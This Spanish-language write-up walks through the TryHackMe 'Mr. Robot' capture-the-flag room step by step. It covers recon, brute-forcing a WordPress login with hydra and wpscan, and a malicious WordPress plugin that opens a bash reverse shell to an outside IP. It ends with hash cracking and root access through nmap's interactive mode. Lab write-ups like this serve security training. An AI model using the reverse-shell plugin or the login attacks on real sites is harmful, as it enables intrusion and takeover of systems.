CTF Walkthrough — Mr. Robot (TryHackMe)

🔍 Reconocimiento

Comenzamos determinando si el objetivo es Windows o Linux enviando paquetes ICMP:

ping -c 3 10.10.86.81

Pasted image 20251109101014.png

📌 El valor TTL=63 → Linux

Escaneo con Nmap:

sudo nmap -p- --min-rate 5000 --open -sS -n -sVC 10.10.86.81

🕵️Análisis de vulnerabilidades

Enumeración de directorios / ficheros web


wfuzz -c -t 200 --hc=404,403 \
 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
 http://10.10.86.81/FUZZ

robots.txt (contenido):

User-agent: *
fsocity.dic
key-1-of-3.txt

Interpretación:

# Descargar el diccionario
curl http://10.10.86.81/fsocity.dic -o fsocity.dic

# Obtener la primera flag
curl http://10.10.86.81/key-1-of-3.txt

🎯 Explotación

Preparación Burp / Intercept

burpsuite &> /dev/null & disown

Añadimos Add$ en la posición de usuario, cargamos fsocity.dic en Payloads y pulsamos Start attack.
Pasted image 20251109110825.png
El payload con Elliot muestra un Length diferente → usuario válido.
Pasted image 20251109110931.png
Fuerza bruta (WordPress / HTTP)

wpscan --url http://10.10.114.64/ --usernames Elliot --passwords fsocity.dic

o usando hydra (ejemplo HTTP form):

hydra -l Elliot -P fsocity.dic 10.10.225.249  http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=incorrect" -t 20 -vV

Alternativa sin fuerza bruta (recurso license)

curl http://10.10.114.64/license

{A8755904-CE66-4779-9BDF-7C15B076FD47}.png

echo "ZWxsaW90OkVSMjgtMDY1Mgo=" | base64 -d

Resultado: contraseña de Elliot ER28-0652
{12884F26-1E8E-4031-9BC2-B12365307341}.png
Login como elliot en wordpress y subida de webshell/plugin

<?php
/* 
Plugin Name: WPReverseShell 
Plugin URI: https://malicious.example.com 
Description: Educational reverse shell plugin for testing. 
Version: 1.0 
Author: RedTeam 
Author URI: https://malicious.example.com 
*/
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.21.119.164/6969 0>&1'");
?>

Luego lo comprimimos en formato .zip:

zip reverse.zip reverse.php


Preparamos el listener con Netcat:

nc -lvnp 6969

Subir e instalar plugin vía Plugins → Add New → Upload Plugin.
Pasted image 20251110172613.png
Pasted image 20251110173118.png
Ya estamos dentro de la máquina
{2961EB23-5925-493E-AADB-9C2C6746493F}.png
Una vez obtenemos la reverse shell, es necesario ajustar algunos parámetros para hacerla más manejable. Esto nos permitirá usar combinaciones de teclas como Ctrl+C sin interrumpir la conexión, y también limpiar la pantalla con Ctrl+L.

Para mejorar la experiencia, ejecutamos los siguientes comandos:

script /dev/null -c bash
# Suspender la shell actual:
ctrl+z
# Restauramos la conexión:
stty raw -echo; fg
# Reiniciamos la terminal y configuramos la compatibilidad con xterm:
reset xterm
export TERM=xterm
export SHELL=bash

Si intentamos usar editores como nano, vi o cat, la terminal puede mostrar limitaciones en el tamaño de la pantalla. Para solucionar esto, ajustamos el tamaño de la terminal con los siguientes comandos:

# Abrimos una nueva terminal en el host o máquina atacante y ejecutamos:
stty size
# Ajustamos las filas y columnas de la terminal para que se vean correctamente:
stty rows 52 columns 115


📈 Escalada de privilegios

Fichero con hashes:

cat password.raw-md5 
robot:c3fcd3d76192e4007dfb496cca67e13b

Preparar hash para crack:

echo "c3fcd3d76192e4007dfb496cca67e13b" > robot.hash
hashcat -m 0 -a 0 robot.hash /usr/share/wordlists/rockyou.txt -O

Contraseña crackeada: abcdefghijklmnopqrstuvwxyz
Pasted image 20251109181914.png
Conexión SSH con robot:

ssh robot@10.10.114.64

Subir y ejecutar linpeas:

wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
scp  ./linpeas.sh robot@10.10.114.64:/tmp
chmod +x /tmp/linpeas.sh
bash /tmp/linpeas.sh -a 

Buscar GTFOBins para escalada (ejemplo con nmap):
Pasted image 20251109190119.png

nmap --interactive
nmap> !bash
¡Ya somos root!

{EC2340D2-63A4-4A02-BD31-48BB6061EF9E}.png